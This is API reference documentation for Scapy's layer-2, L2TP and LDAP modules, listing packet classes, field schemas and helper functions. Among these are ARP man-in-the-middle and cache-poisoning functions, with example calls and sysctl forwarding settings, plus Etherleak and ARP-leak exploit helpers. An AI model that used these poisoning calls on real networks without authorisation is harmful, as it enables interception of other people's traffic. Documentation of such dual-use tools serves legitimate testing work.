classmethod dispatch_hook(_pkt: Any | None = None, *args: Any, **kargs: Any) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L298-L304]

	




	
extract_padding(s: bytes) → Tuple[bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L283-L286]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              SRC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Dot3                             


Dot3 fields






	dst

	DestMACField

	None



	src

	SourceMACField

	None



	len

	LenField

	None











	
mysummary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L294-L296]

	




	
payload_guess

	Possible sublayers:
LLC_GARP, LLC










	
class scapy.layers.l2.Ether(_pkt, /, *, dst=None, src=None, type=36864)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L246-L274]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L257-L262]

	




	
classmethod dispatch_hook(_pkt: bytes | None = None, *args: Any, **kargs: Any) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L268-L274]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              SRC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Ether                            


Ether fields






	dst

	DestMACField

	None



	src

	SourceMACField

	None



	type

	XShortEnumField

	36864











	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L253-L255]

	




	
mysummary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L264-L266]

	




	
payload_guess

	Possible sublayers:
AOE, EtherCat, HomePlugAV, IFE, LLDPDU, MACControl, MACsec, MPLS, NSH, ProfinetIO, GRH, SlowProtocol, EAPOL, IP, IPv6, ARP, Dot1AD, Dot1AH, Dot1Q, Ether, LLC, LLTD, PPP_ECP, PPP_IPCP, PPPoED, PPPoE, SixLoWPAN










	
class scapy.layers.l2.GRE(_pkt, /, *, chksum_present=0, routing_present=0, key_present=0, seqnum_present=0, strict_route_source=0, recursion_control=0, flags=0, version=0, proto=0, chksum=None, offset=None, key=None, sequence_number=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L598-L631]

	Bases: Packet


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'seqence_number': ('sequence_number', '2.4.4')}

	




	
classmethod dispatch_hook(_pkt: Any | None = None, *args: Any, **kargs: Any) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L618-L623]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|R|K|S|S|RECUR|  FLAGS  |VERSI|             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              KEY                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SEQUENCE NUMBER                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. GRE                             


GRE fields






	chksum_present

	BitField  (1 bit)

	0



	routing_present

	BitField  (1 bit)

	0



	key_present

	BitField  (1 bit)

	0



	seqnum_present

	BitField  (1 bit)

	0



	strict_route_source

	BitField  (1 bit)

	0



	recursion_control

	BitField  (3 bits)

	0



	flags

	BitField  (5 bits)

	0



	version

	BitField  (3 bits)

	0



	proto

	XShortEnumField

	0



	chksum

	XShortField (Cond)

	None



	offset

	XShortField (Cond)

	None



	key

	XIntField (Cond)

	None



	sequence_number

	XIntField (Cond)

	None











	
payload_guess

	Possible sublayers:
ERSPAN_III, ERSPAN_II, ERSPAN, MPLS, NSH, EAPOL, IP, IPv6, ARP, Dot1AD, Dot1AH, Dot1Q, Ether, GRErouting, LLC






	
post_build(p: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L625-L631]

	








	
class scapy.layers.l2.GRE_PPTP(_pkt, /, *, chksum_present=0, routing_present=0, key_present=1, seqnum_present=0, strict_route_source=0, recursion_control=0, acknum_present=0, flags=0, version=1, proto=34827, payload_len=None, call_id=None, sequence_number=None, ack_number=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L634-L666]

	Bases: GRE

Enhanced GRE header used with PPTP
RFC 2637


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'seqence_number': ('sequence_number', '2.4.4')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|R|K|S|S|RECUR|A| FLAGS |VERSI|             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PAYLOAD LEN          |            CALL ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SEQUENCE NUMBER                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ACK NUMBER                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GRE_PPTP                           


GRE_PPTP fields






	chksum_present

	BitField  (1 bit)

	0



	routing_present

	BitField  (1 bit)

	0



	key_present

	BitField  (1 bit)

	1



	seqnum_present

	BitField  (1 bit)

	0



	strict_route_source

	BitField  (1 bit)

	0



	recursion_control

	BitField  (3 bits)

	0



	acknum_present

	BitField  (1 bit)

	0



	flags

	BitField  (4 bits)

	0



	version

	BitField  (3 bits)

	1



	proto

	XShortEnumField

	34827



	payload_len

	ShortField

	None



	call_id

	ShortField

	None



	sequence_number

	XIntField (Cond)

	None



	ack_number

	XIntField (Cond)

	None











	
payload_guess

	Possible sublayers:
ERSPAN_III, ERSPAN_II, ERSPAN, EAPOL, IP, IPv6, ARP, Dot1AD, Dot1AH, Dot1Q, Ether, GRErouting, LLC, PPP






	
post_build(p: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L660-L666]

	








	
class scapy.layers.l2.GRErouting(_pkt, /, *, address_family=0, SRE_offset=0, SRE_len=None, routing_info=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L588-L595]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ADDRESS FAMILY        |   SRE OFFSET  |    SRE LEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ROUTING INFO         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GRErouting                          


GRErouting fields






	address_family

	ShortField

	0



	SRE_offset

	ByteField

	0



	SRE_len

	FieldLenField

	None



	routing_info

	StrLenField

	b''











	
payload_guess

	Possible sublayers:
GRErouting, Raw










	
class scapy.layers.l2.LLC(_pkt, /, *, dsap=0, ssap=0, ctrl=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L307-L311]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DSAP     |      SSAP     |      CTRL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. LLC                             


LLC fields






	dsap

	XByteField

	0



	ssap

	XByteField

	0



	ctrl

	ByteField

	0











	
payload_guess

	Possible sublayers:
_create_cln_pdu, SNAP, STP










	
class scapy.layers.l2.LoIntEnumField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L671-L679]

	Bases: IntEnumField


	
i2m(pkt: Packet | None, x: List[int] | int | None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L677-L679]

	




	
m2i(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L673-L675]

	








	
class scapy.layers.l2.Loopback(_pkt, /, *, type=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L694-L703]

	Bases: Packet

*BSD loopback layer


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Loopback                           


Loopback fields






	type

	LoIntEnumField

	2











	
payload_guess

	Possible sublayers:
IP, IPv6










	
class scapy.layers.l2.LoopbackOpenBSD(_pkt, /, *, type=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L709-L711]

	Bases: Loopback


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LoopbackOpenBSD                       


LoopbackOpenBSD fields






	type

	IntEnumField

	2















	
class scapy.layers.l2.MPacketPreamble(_pkt, /, *, preamble=b'', fcs=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L358-L362]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PREAMBLE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              FCS                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MPacketPreamble                       


MPacketPreamble fields






	preamble

	StrFixedLenField

	b''



	fcs

	FCSField

	0











	
payload_guess

	Possible sublayers:
Ether










	
class scapy.layers.l2.Neighbor[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L94-L112]

	Bases: object


	
register_l3(l2: Type[Packet], l3: Type[Packet], resolve_method: Callable[[Packet, Packet], str | None]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L99-L101]

	




	
resolve(l2inst: Packet, l3inst: Packet) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L103-L108]

	








	
class scapy.layers.l2.SNAP(_pkt, /, *, OUI=0, code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L365-L368]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OUI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CODE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. SNAP                             


SNAP fields






	OUI

	OUIField

	0



	code

	XShortEnumField

	0











	
payload_guess

	Possible sublayers:
CDPv2_HDR, DTP, VTP, EAPOL, IP, IPv6, ARP, Dot1AD, Dot1AH, Dot1Q, Ether, STP










	
class scapy.layers.l2.STP(_pkt, /, *, proto=0, version=0, bpdutype=0, bpduflags=0, rootid=0, rootmac='00:00:00:00:00:00', pathcost=0, bridgeid=0, bridgemac='00:00:00:00:00:00', portid=0, age=1, maxage=20, hellotime=2, fwddelay=15)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L418-L433]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PROTO             |    VERSION    |    BPDUTYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   BPDUFLAGS   |             ROOTID            |    ROOTMAC    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    PATHCOST                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            BRIDGEID           |   BRIDGEMAC   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             PORTID            |      AGE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             MAXAGE            |   HELLOTIME   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            FWDDELAY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. STP                             


STP fields






	proto

	ShortField

	0



	version

	ByteField

	0



	bpdutype

	ByteField

	0



	bpduflags

	ByteField

	0



	rootid

	ShortField

	0



	rootmac

	MACField

	'00:00:00:00:00:00'



	pathcost

	IntField

	0



	bridgeid

	ShortField

	0



	bridgemac

	MACField

	'00:00:00:00:00:00'



	portid

	ShortField

	0



	age

	BCDFloatField

	1



	maxage

	BCDFloatField

	20



	hellotime

	BCDFloatField

	2



	fwddelay

	BCDFloatField

	15















	
class scapy.layers.l2.SourceMACField(name: str, getif: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L190-L212]

	Bases: MACField


	
getif

	




	
i2h(pkt: Packet | None, x: str | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L198-L208]

	




	
i2m(pkt: Packet | None, x: Any | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L210-L212]

	








	
scapy.layers.l2.arp_mitm(ip1: str, ip2: str, mac1: List[str] | str | None = None, mac2: List[str] | str | None = None, broadcast: bool = False, target_mac: str | None = None, iface: NetworkInterface | str | None = None, inter: int = 3) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L858-L974]

	ARP MitM: poison 2 target’s ARP cache


	Parameters:

	
	ip1 – IPv4 of the first machine


	ip2 – IPv4 of the second machine


	mac1 – MAC of the first machine (optional: will ARP otherwise)


	mac2 – MAC of the second machine (optional: will ARP otherwise)


	broadcast – if True, will use broadcast mac for MitM by default


	target_mac – MAC of the attacker (optional: default to the interface’s one)


	iface – the network interface. (optional: default, route for ip1)








Example usage:

$ sysctl net.ipv4.conf.virbr0.send_redirects=0  # virbr0 = interface
$ sysctl net.ipv4.ip_forward=1
$ sudo scapy
>>> arp_mitm("192.168.122.156", "192.168.122.17")






	Alternative usages:
	>>> arp_mitm("10.0.0.1", "10.1.1.0/21", iface="eth1")
>>> arp_mitm("10.0.0.1", "10.1.1.2",
...          target_mac="aa:aa:aa:aa:aa:aa",
...          mac2="00:1e:eb:bf:c1:ab")










Warning

If using a subnet, this will first perform an arping, unless broadcast is on!



Remember to change the sysctl settings back..






	
scapy.layers.l2.arpcachepoison(target: str | List[str], addresses: str | Tuple[str, str] | List[Tuple[str, str]], broadcast: bool = False, count: int | None = None, interval: int = 15, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L798-L855]

	Poison targets’ ARP cache


	Parameters:

	
	target – Can be an IP, subnet (string) or a list of IPs. This lists the IPs
or the subnet that will be poisoned.


	addresses – Can be either a string, a tuple of a list of tuples.
If it’s a string, it’s the IP to advertise to the victim,
with the local interface’s MAC. If it’s a tuple,
it’s (“IP”, “MAC”). It it’s a list, it’s [(“IP”, “MAC”)].
“IP” can be a subnet of course.


	broadcast – Use broadcast ethernet








Examples for target “192.168.0.2”:

>>> arpcachepoison("192.168.0.2", "192.168.0.1")
>>> arpcachepoison("192.168.0.1/24", "192.168.0.1")
>>> arpcachepoison(["192.168.0.2", "192.168.0.3"], "192.168.0.1")
>>> arpcachepoison("192.168.0.2", ("192.168.0.1", get_if_hwaddr("virbr0")))
>>> arpcachepoison("192.168.0.2", [("192.168.0.1", get_if_hwaddr("virbr0"),
...                                ("192.168.0.2", "aa:aa:aa:aa:aa:aa")])










	
scapy.layers.l2.arping(net: str, timeout: int = 2, cache: int = 0, verbose: int | None = None, **kargs: Any) → Tuple[ARPingResult, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1004-L1041]

	Send ARP who-has requests to determine which hosts are up:

arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None





Set cache=True if you want arping to modify internal ARP-Cache






	
scapy.layers.l2.arpleak(target: str, plen: int = 255, hwlen: int = 255, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1167-L1218]

	Exploit ARP leak flaws, like NetBSD-SA2017-002.

https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc






	
scapy.layers.l2.etherleak(target: str, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1158-L1164]

	Exploit Etherleak flaw






	
scapy.layers.l2.getmacbyip(ip: str, chainCC: int = 0) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L121-L156]

	Return MAC address corresponding to a given IP address






	
scapy.layers.l2.is_promisc(ip: str, fake_bcast: str = 'ff:ff:00:00:00:00', **kargs: Any) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1044-L1051]

	Try to guess if target is in Promisc mode. The target is provided by its ip.






	
scapy.layers.l2.l2_register_l3(l2: Packet, l3: Packet) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L314-L319]

	Delegates resolving the default L2 destination address to the payload of L3.






	
scapy.layers.l2.l2_register_l3_arp(l2: Packet, l3: Packet) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L559-L582]

	Resolves the default L2 destination address when ARP is used.






	
scapy.layers.l2.promiscping(net: str, timeout: int = 2, fake_bcast: str = 'ff:ff:ff:ff:ff:fe', **kargs: Any) → Tuple[ARPingResult, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1054-L1064]

	Send ARP who-has requests to determine which hosts are in promiscuous mode
promiscping(net, iface=conf.iface)








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.l2tp

L2TP (Layer 2 Tunneling Protocol) for VPNs.

[RFC 2661]


	
class scapy.layers.l2tp.L2TP(_pkt, /, *, hdr=<Flag 0 ()>, version=2, len=None, tunnel_id=0, session_id=0, ns=0, nr=0, offset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2tp.py#L21-L46]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          HDR          |VERSION|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TUNNEL ID           |           SESSION ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               NS              |               NR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. L2TP                             


L2TP fields






	hdr

	FlagsField

	<Flag 0 ()>



	version

	BitEnumField

	2



	len

	ShortField (Cond)

	None



	tunnel_id

	ShortField

	0



	session_id

	ShortField

	0



	ns

	ShortField (Cond)

	0



	nr

	ShortField (Cond)

	0



	offset

	PadField (Cond)

	0











	
payload_guess

	Possible sublayers:
PPP






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2tp.py#L42-L46]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ldap

LDAP

RFC 1777 - LDAP v2
RFC 4511 - LDAP v3

Note: to mimic Microsoft Windows LDAP packets, you must set:

conf.ASN1_default_long_size = 4






	
class scapy.layers.ldap.ASN1F_LDAP_Authentication_krbv42DSA(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L238-L239]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag krbv42DSA[130]>

	








	
class scapy.layers.ldap.ASN1F_LDAP_Authentication_krbv42LDAP(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L225-L226]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag krbv42LDAP[129]>

	








	
class scapy.layers.ldap.ASN1F_LDAP_Authentication_sicilyNegotiate(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L264-L265]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag sicilyNegotiate[138]>

	








	
class scapy.layers.ldap.ASN1F_LDAP_Authentication_sicilyPackageDiscovery(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L251-L252]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag sicilyPackageDiscovery[137]>

	








	
class scapy.layers.ldap.ASN1F_LDAP_Authentication_sicilyResponse(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L277-L278]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag sicilyResponse[139]>

	








	
class scapy.layers.ldap.ASN1F_LDAP_Authentication_simple(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L212-L213]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag simple[128]>

	








	
class scapy.layers.ldap.ASN1_Class_LDAP[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L161-L183]

	Bases: ASN1_Class


	
AbandonRequest = <ASN1Tag AbandonRequest[113]>

	




	
AddRequest = <ASN1Tag AddRequest[105]>

	




	
AddResponse = <ASN1Tag AddResponse[106]>

	




	
BindRequest = <ASN1Tag BindRequest[96]>

	




	
BindResponse = <ASN1Tag BindResponse[97]>

	




	
CompareRequest = <ASN1Tag CompareRequest[111]>

	




	
CompareResponse = <ASN1Tag CompareResponse[112]>

	




	
DelRequest = <ASN1Tag DelRequest[107]>

	




	
DelResponse = <ASN1Tag DelResponse[108]>

	




	
ExtendedRequest = <ASN1Tag ExtendedRequest[114]>

	




	
ExtendedResponse = <ASN1Tag ExtendedResponse[115]>

	




	
ModifyDNRequest = <ASN1Tag ModifyDNRequest[109]>

	




	
ModifyDNResponse = <ASN1Tag ModifyDNResponse[110]>

	




	
ModifyRequest = <ASN1Tag ModifyRequest[103]>

	




	
ModifyResponse = <ASN1Tag ModifyResponse[104]>

	




	
SearchRequest = <ASN1Tag SearchRequest[99]>

	




	
SearchResultDone = <ASN1Tag SearchResultDone[101]>

	




	
SearchResultEntry = <ASN1Tag SearchResultEntry[100]>

	




	
SearchResultReference = <ASN1Tag SearchResultReference[102]>

	




	
UnbindRequest = <ASN1Tag UnbindRequest[66]>

	




	
name = 'LDAP'

	








	
class scapy.layers.ldap.ASN1_Class_LDAP_Authentication[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L190-L200]

	Bases: ASN1_Class


	
krbv42DSA = <ASN1Tag krbv42DSA[130]>

	




	
krbv42LDAP = <ASN1Tag krbv42LDAP[129]>

	




	
name = 'LDAP Authentication'

	




	
sasl = <ASN1Tag sasl[163]>

	




	
sicilyNegotiate = <ASN1Tag sicilyNegotiate[138]>

	




	
sicilyPackageDiscovery = <ASN1Tag sicilyPackageDiscovery[137]>

	




	
sicilyResponse = <ASN1Tag sicilyResponse[139]>

	




	
simple = <ASN1Tag simple[128]>

	








	
class scapy.layers.ldap.ASN1_Class_LDAP_Filter[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L482-L493]

	Bases: ASN1_Class


	
And = <ASN1Tag And[160]>

	




	
ApproxMatch = <ASN1Tag ApproxMatch[168]>

	




	
EqualityMatch = <ASN1Tag EqualityMatch[163]>

	




	
GreaterOrEqual = <ASN1Tag GreaterOrEqual[165]>

	




	
LessOrEqual = <ASN1Tag LessOrEqual[166]>

	




	
Not = <ASN1Tag Not[162]>

	




	
Or = <ASN1Tag Or[161]>

	




	
Present = <ASN1Tag Present[135]>

	




	
Substrings = <ASN1Tag Substrings[164]>

	




	
name = 'LDAP Filter'

	








	
